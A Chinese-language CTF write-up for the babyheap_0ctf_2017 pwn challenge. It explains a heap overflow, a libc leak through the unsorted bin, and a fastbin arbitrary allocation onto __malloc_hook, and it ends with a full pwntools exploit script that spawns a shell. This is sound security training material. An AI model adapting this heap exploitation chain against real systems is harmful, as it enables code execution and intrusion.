好好写写这道题目,,
main函数的主要逻辑
这是前面的函数,这里分配了一个地址是个随机数,然后用mmap申请了0x1000个空间
allocate函数
fill函数,这里又让输入了一个size,我们前面申请空间就已经申请过了,所以我们看看putttt函数
也没有什么判断两个size的,所以这里存在一个堆溢出的漏洞,而且申请的堆地址都是连续的
freeeee函数
dumppp函数就是show,打印一遍
这里保护全开,所以got表劫持可以不用想了,泄露libc的地址该怎么办,既然可以自主申请空间,而且有堆溢出,噢这里还有个知识点,然后怎么放进unsorted bin 呢?
1.不是fastbin
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]
##define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
2.不和top chunk相邻
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,
所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。-----来自参考网址
有了libc,然后就是__malloc_hook函数,,,,,fast bin attack 里的Arbitrary Alloc,wiki里有这个攻击的介绍
好了,接下来就是边调试
creat(0x10)
creat(0x10)
creat(0x10)
creat(0x10)
creat(0x80)
#pause()
free(1)
free(2)
#pause()
payload1 =p64(0)*3+p64(0x21)
payload1+=p64(0)*3+p64(0x21)+p8(0x80)
fill(0,payload1)
payload2 = p64(0)*3+p64(0x21)
fill(3,payload2)
creat(0x10) ##1
creat(0x10) ##2
payload3 = p64(0)*3 +p64(0x91)
fill(3,payload3)
creat(0x80)
free(4)
show(2)
这部分就是把fastbin的fd链表改了
如果我们再申请两个0x10的堆块,所以这里会有
payload2 = p64(0)*3+p64(0x21)
将堆块四的size改成0x21,待会申请的堆块就会指向这里,好家伙两个指针指向同一个地方,出大问题了对吧,用vmmap找到申请的堆块,然后慢慢找控制信息。
指向第四个堆块
payload3 = p64(0)*3 +p64(0x91)
fill(3,payload3)
creat(0x80)
free(4)
show(2)
将堆块4放进unsorted bin然后show 出来这样libc的地址就泄露出来了
fd_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
log.success('addr:'+hex(fd_addr))
#pause()
libcbase = fd_addr - 0x58 -0x3c4b20
creat(0x60)#4
free(4)
#pause()
payload4 = p64(fd_addr-0x8b)
fill(2,payload4)
#pause()
creat(0x60)
fill(4,'abcd')
#pause()
creat(0x60)
#pause()
payload5 = b'a'*0x13 +p64(libcbase+0x4526a)
fill(6,payload5)
#pause()
creat(0x10)
io.interactive()
这里就是第二部分,__malloc_hook的地方,这里的方法wiki里写很详细了,fastbin attack的地方
完整的wp
from pwn import*
from LibcSearcher import*
#context.log_level = 'debug'
context.arch = 'amd64'
io =process('./babyheap_0ctf_2017')
#io = remote("node4.buuoj.cn",26786)
elf = ELF('./babyheap_0ctf_2017')
libc = ELF('libc-2.23.so')
gdb.attach(io)
def creat(size):
io.recvuntil('Command: ')
io.sendline('1')
io.recvuntil('Size: ')
io.sendline(str(size))
def fill(index,value):
io.recvuntil('Command: ')
io.sendline('2')
io.recvuntil('Index: ')
io.sendline(str(index))
io.recvuntil('Size: ')
io.sendline(str(len(value)))
io.recvuntil('Content: ')
io.send(value)
def free(id):
io.recvuntil('Command: ')
io.sendline('3')
io.recvuntil('Index: ')
io.sendline(str(id))
def show(i):
io.recvuntil('Command: ')
io.sendline('4')
io.recvuntil('Index: ')
io.sendline(str(i))
io.recvline()
creat(0x10)
creat(0x10)
creat(0x10)
creat(0x10)
creat(0x80)
#pause()
free(1)
free(2)
#pause()
payload1 =p64(0)*3+p64(0x21)
payload1+=p64(0)*3+p64(0x21)+p8(0x80)
fill(0,payload1)
pause()
payload2 = p64(0)*3+p64(0x21)
fill(3,payload2)
creat(0x10) ##1
creat(0x10) ##2
payload3 = p64(0)*3 +p64(0x91)
fill(3,payload3)
creat(0x80)
free(4)
show(2)
fd_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
log.success('addr:'+hex(fd_addr))
#pause()
libcbase = fd_addr - 0x58 -0x3c4b20
creat(0x60)#4
free(4)
#pause()
payload4 = p64(fd_addr-0x8b)
fill(2,payload4)
#pause()
creat(0x60)
fill(4,'abcd')
#pause()
creat(0x60)
#pause()
payload5 = b'a'*0x13 +p64(libcbase+0x4526a)
fill(6,payload5)
#pause()
creat(0x10)
io.interactive()